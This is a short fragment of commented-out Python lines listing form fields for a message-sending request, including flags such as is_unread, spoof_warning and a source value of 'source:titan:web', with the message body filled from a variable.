# 'message_batch[0][timestamp_time_passed]' : '0',
# 'message_batch[0][is_unread]' : 'false',
# 'message_batch[0][is_cleared]' : 'false',
# 'message_batch[0][is_forward]' : 'false',
# 'message_batch[0][is_filtered_content]' : 'false',
# 'message_batch[0][spoof_warning]' : 'false',
# 'message_batch[0][source]' : 'source:titan:web',
# 'message_batch[0][body]' : str(message),